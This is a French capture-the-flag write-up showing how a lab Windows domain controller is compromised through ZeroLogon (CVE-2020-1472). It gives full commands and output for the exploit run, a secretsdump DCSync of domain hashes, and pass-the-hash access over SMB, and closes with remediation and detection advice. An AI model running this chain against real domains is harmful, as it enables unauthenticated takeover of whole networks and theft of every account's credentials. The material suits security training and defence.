ZNote Logo
ZNote
Pentest LabseasyCreedCTF
30-06-2026
9 min

Lab NullSec : Compromettre un Domaine Active Directory via ZeroLogon (CVE-2020-1472)

Exploitation de CVE-2020-1472 (ZeroLogon) sur un Contrôleur de Domaine Windows : bypass d'authentification Netlogon par brute-force cryptographique, reset du mot de passe du compte machine DC$, DCSync pour dumper les hashes, et accès administrateur via Pass-the-Hash sur SMB.

Active Directory
CVE-2020-1472
ZeroLogon
Netlogon
DCSync
Pass-the-Hash
SMB
CreedCTF
Pentest
Windows

Contexte et Objectifs

ChampDétail
PlateformeCreedCTF
CibleNULLSEC-DC.zero.local, 192.168.202.133
OSWindows Server (domaine zero.local)
CVECVE-2020-1472 (ZeroLogon)
CVSS10.0 / 10 (Critique)
DifficultéFacile

Scénario : Le briefing est direct : exploiter une faille critique dans le protocole Netlogon pour usurper l'identité du Contrôleur de Domaine et compromettre totalement l'environnement Active Directory.

Kill chain :

Sortie
Scan → DC identifié (NULLSEC-DC.zero.local)
        │
        ▼
Page HTTP → CVE-2020-1472 documentée → Flag 1
        │
        ▼
ZeroLogon check → DC vulnérable confirmé
        │
        ▼
ZeroLogon exploit → mot de passe DC$ vidé
        │
        ▼
secretsdump → hash Administrateur : 27336d7c72fd5c4d990d62ba65f6d34b
        │
        ▼
smbclient PtH → Desktop Administrateur → Flag 2

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 192.168.202.133 -- -sC -sV -Pn

Output :

Sortie
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: ZeroLogon - CVE-2020-1472
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
                              (Domain: zero.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
                              (Domain: zero.local, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=NULLSEC-DC.zero.local
9389/tcp  open  mc-nmf        .NET Message Framing

Host script results:
| smb2-security-mode:
|_  Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
Service Info: Host: NULLSEC-DC; OS: Windows

Analyse :

La combinaison de ports est la signature d'un Contrôleur de Domaine Active Directory : DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464), RPC over HTTP (593). Le nom de domaine zero.local et le hostname NULLSEC-DC sont directement exposés par les scripts Nmap.

Deux observations importantes :

smb2-security-mode: Message signing enabled and required : la signature SMB est obligatoire sur ce DC. Le NTLM Relay est donc impossible. L'exploitation devra passer par un autre vecteur.

clock-skew: 0s : horloge parfaitement synchronisée. Kerberos fonctionnera sans problème.

La page web sur le port 80 a un titre particulièrement évocateur : "ZeroLogon - CVE-2020-1472". On s'y rend immédiatement.


2. Investigation HTTP

Page web ZeroLogon CVE-2020-1472

La page web du lab présente en détail la vulnérabilité CVE-2020-1472. C'est un indice explicite du vecteur d'attaque attendu : le site nous dit lui-même comment le compromettre.

En parcourant la page, on découvre le premier flag intégré dans le contenu :

Flag 1 sur la page web

Premier flag récupéré. On passe à l'exploitation.


3. CVE-2020-1472 - ZeroLogon

Présentation

ParamètreValeur
NomZeroLogon
Protocole affectéNetlogon Remote Protocol (MS-NRPC)
Composant cibléContrôleur de Domaine Windows Server
Score CVSS v3.110.0 / 10 (Critique)
Vecteur d'attaqueRéseau, sans authentification préalable
ImpactPrise de contrôle totale du domaine

Analyse Cryptographique

La faille réside dans une mauvaise implémentation de la cryptographie au sein de MS-NRPC, le protocole utilisé par les machines Windows pour s'authentifier auprès du Contrôleur de Domaine.

Pour sécuriser les échanges, Netlogon utilise une variante du chiffrement AES appelée AES-CFB8 (Cipher Feedback 8-bit). Cette variante exige que chaque message possède un Vecteur d'Initialisation (IV) unique et aléatoire.

L'erreur de Microsoft : dans la fonction d'authentification, l'IV a été codé en dur avec une valeur fixe de 16 octets de zéros (0x00000000000000000000000000000000).

En AES-CFB8, si l'IV est composé uniquement de zéros et que le texte en clair envoyé est aussi composé de zéros, il existe exactement une chance sur 256 (1/256) que le texte chiffré résultant soit lui aussi une suite de zéros.

Le bypass :

Sortie
1. Attaquant initie une session Netlogon vers le DC
2. Envoie un Client Challenge = 0x0000000000000000
3. Envoie un Client Credential = 0x0000000000000000
   (normalement calculé avec le vrai hash de la machine)
4. 1/256 chance que le serveur accepte ce credential
5. En ~256 tentatives (moins de 3 secondes), le serveur valide
6. Session Netlogon établie sans aucun credential

Scénario d'Exploitation Complet

Une fois la session Netlogon falsifiée :

Étape 1 : Spoofing du DC L'attaquant usurpe l'identité du compte machine du DC (NULLSEC-DC$) via le bypass des zéros.

Étape 2 : Reset du mot de passe via NetrServerPasswordSet2 MS-NRPC expose cette fonction permettant à une machine de modifier son propre mot de passe dans l'AD. L'attaquant l'appelle et réinitialise le mot de passe de NULLSEC-DC$ à une valeur vide.

[!WARNING] Cette étape brise le canal sécurisé entre le DC et son propre Active Directory. Le DC est instable jusqu'à restauration. Dans un engagement réel, cette étape doit être coordonnée avec le client et suivie d'une restauration immédiate.

Étape 3 : DCSync Mot de passe vide connu, l'attaquant s'authentifie en tant que NULLSEC-DC$ et déclenche un DCSync via DRSUAPI. L'ensemble des hashes du domaine est extrait, incluant celui de l'administrateur et de krbtgt.


4. Exploitation

Téléchargement et Préparation

Commande
bash
searchsploit zerologon
Sortie
Exploit Title                                  | Path
------------------------------------------------|---------------------------
ZeroLogon - Netlogon Elevation of Privilege    | windows/remote/49071.py
Commande
bash
searchsploit -m windows/remote/49071.py
mv 49071.py zerologon.py
ls
# zerologon.py

Usage de l'exploit :

Commande
bash
python3 zerologon.py
Sortie
CVE-2020-1472 ZeroLogon Exploit - Netlogon Elevation of Privilege

options:
  -do DO        What to do (default check): [check|restore|exploit]
  -target       NETBIOS name of target DC (not the FQDN)
  -ip IP        IP address of target DC

Workflow recommandé :
  1. check   → Vérifier si le DC est vulnérable (~300 tentatives)
  2. exploit → Vider le mot de passe du DC
  3. dump    → secretsdump -just-dc -no-pass DC$@IP
  4. restore → Restaurer le mot de passe du DC

Étape 1 : Vérification de la Vulnérabilité

Commande
bash
python3 zerologon.py -do check -target NULLSEC-DC -ip 192.168.202.133
Sortie
[+] checking target, attempting to authenticate 2000 max attempts
[+] attempt 0
[+] attempt 1
...
[+] attempt 86
[+] successfully authenticated

DC vulnérable confirmé au 86ème essai (sur 256 possibles au maximum). Le bypass AES-CFB8 a fonctionné.

Étape 2 : Exploitation (Reset du Mot de Passe)

Commande
bash
python3 zerologon.py -do exploit -target NULLSEC-DC -ip 192.168.202.133
Sortie
[+] checking target, attempting to authenticate 2000 max attempts
[+] attempt 0
...
[+] attempt 86
[+] successfully authenticated
[+] Changing machine account password to empty string
[+] Done

Le mot de passe du compte machine NULLSEC-DC$ est maintenant une chaîne vide. Le DC est temporairement instable.

Étape 3 : DCSync avec secretsdump

Commande
bash
impacket-secretsdump -just-dc -no-pass 'NULLSEC-DC$@192.168.202.133'
Sortie
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrateur:500:aad3b435b51404eeaad3b435b51404ee:27336d7c72fd5c4d990d62ba65f6d34b:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e1b55112fd93da9191f0927ded528a8b:::
NULLSEC-DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] Kerberos keys grabbed
Administrateur:aes256-cts-hmac-sha1-96:a6c7853ed7439c2d295df64589c3bd99f566cd8954c4bb0c487c36ccd364ad97
krbtgt:aes256-cts-hmac-sha1-96:1b82a0416c00c5bac107893ceb23d29806a29e6c506874cbee044dbbde75c6b2
NULLSEC-DC$:aes256-cts-hmac-sha1-96:5b98f1c7994cfce69d1f21663f1197d9e68ed45e309fb1603a44eeb7c50190c7

[*] Cleaning up...

Hash NT de l'Administrateur : 27336d7c72fd5c4d990d62ba65f6d34b

Compromission totale du domaine. On dispose du hash de l'administrateur et du hash krbtgt.


5. Post-Exploitation

Accès via Pass-the-Hash sur SMB

Une tentative de connexion via wmiexec n'a pas abouti dans ce contexte. On passe par smbclient avec le hash NT de l'administrateur directement :

Commande
bash
smbclient //192.168.202.133/C$ \
  -U "Administrateur" \
  --pw-nt-hash 27336d7c72fd5c4d990d62ba65f6d34b \
  -W zero.local

L'option --pw-nt-hash permet de passer le hash NTLM directement sans connaître le mot de passe en clair. C'est du Pass-the-Hash : on s'authentifie avec le hash lui-même comme credential.

Sortie
smb: \> cd Users\Administrateur\Desktop
smb: \Users\Administrateur\Desktop\> ls

  desktop.ini    AHS  282  Thu Jun 25 14:00:33 2026
  flag2.txt        A 1030  Thu Jun 25 14:28:29 2026

smb: \Users\Administrateur\Desktop\> get flag2.txt
getting file \Users\Administrateur\Desktop\flag2.txt (1.9 KiloBytes/sec)
Commande
bash
cat flag2.txt
Sortie
,--------------------------===---.
| PalmVx                          |
| ,----------------------------.  |
| |                             | |
| |    FLAG2{NET-LOGON-DOWN}    | |
| |                             | |
| '----------------------------' |
"------......____O____......------"

Flag 2 : FLAG2{NET-LOGON-DOWN}


6. Restauration du DC

[!WARNING] L'exploitation ZeroLogon vide le mot de passe du compte machine du DC, ce qui brise le canal sécurisé entre le DC et son propre Active Directory. Dans un engagement réel, cette étape est obligatoire immédiatement après la phase de proof-of-concept.

Commande
bash
# Récupérer le hash hexadécimal original du DC lors du second secretsdump
# (réalisé avec les credentials de l'Administrateur)
impacket-secretsdump \
  -hashes aad3b435b51404eeaad3b435b51404ee:27336d7c72fd5c4d990d62ba65f6d34b \
  zero.local/Administrateur@192.168.202.133

# Restaurer le mot de passe original du DC
python3 zerologon.py \
  -do restore \
  -target NULLSEC-DC \
  -ip 192.168.202.133 \
  -hex <HEXPASS_NULLSEC-DC$>

Dans le contexte de ce lab CTF, la restauration n'est pas strictement nécessaire. En environnement de production, ne jamais omettre cette étape.


7. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan          → NULLSEC-DC.zero.local identifié, signing requis
2. HTTP port 80      → CVE-2020-1472 documentée → Flag 1
3. searchsploit      → exploit 49071.py téléchargé
4. check ZeroLogon   → DC vulnérable confirmé (tentative 86/256)
5. exploit ZeroLogon → mot de passe NULLSEC-DC$ vidé
6. secretsdump       → hash Administrateur 27336d7c72fd5c4d990d62ba65f6d34b
7. smbclient PtH     → accès C$ en tant qu'Administrateur
8. flag2.txt         → FLAG2{NET-LOGON-DOWN}

Remédiation

VecteurProblèmeRemédiation
CVE-2020-1472Implémentation AES-CFB8 avec IV fixe à zéro dans MS-NRPCAppliquer le patch KB4571694 (Août 2020) ou toute mise à jour Windows Server publiée après Août 2020. Microsoft a rendu obligatoire le mode de protection Netlogon depuis Février 2021
Pass-the-HashLe hash NT suffit pour s'authentifier sans mot de passe en clairActiver Protected Users Security Group pour les comptes sensibles, activer Windows Defender Credential Guard
Compte Administrateur exposéLe compte built-in Administrator est directement ciblable par PtHDésactiver le compte Administrateur built-in, utiliser des comptes d'administration dédiés avec des noms non standards
Absence de détectionZeroLogon génère un volume anormal de tentatives NetlogonMonitorer les ID d'événements 5805, 5827, 5828 dans les logs Windows Security pour détecter les tentatives ZeroLogon

[!NOTE] ZeroLogon est une des rares CVE ayant atteint le score CVSS maximum de 10.0. Sa particularité est qu'elle ne requiert strictement aucune authentification préalable et prend moins de 3 secondes. Un attaquant avec un simple accès réseau peut compromettre l'ensemble d'un domaine Active Directory en une seule commande. Le patch est disponible depuis Août 2020, toute machine non patchée après cette date est inexcusablement vulnérable.


Writeup rédigé par Zcook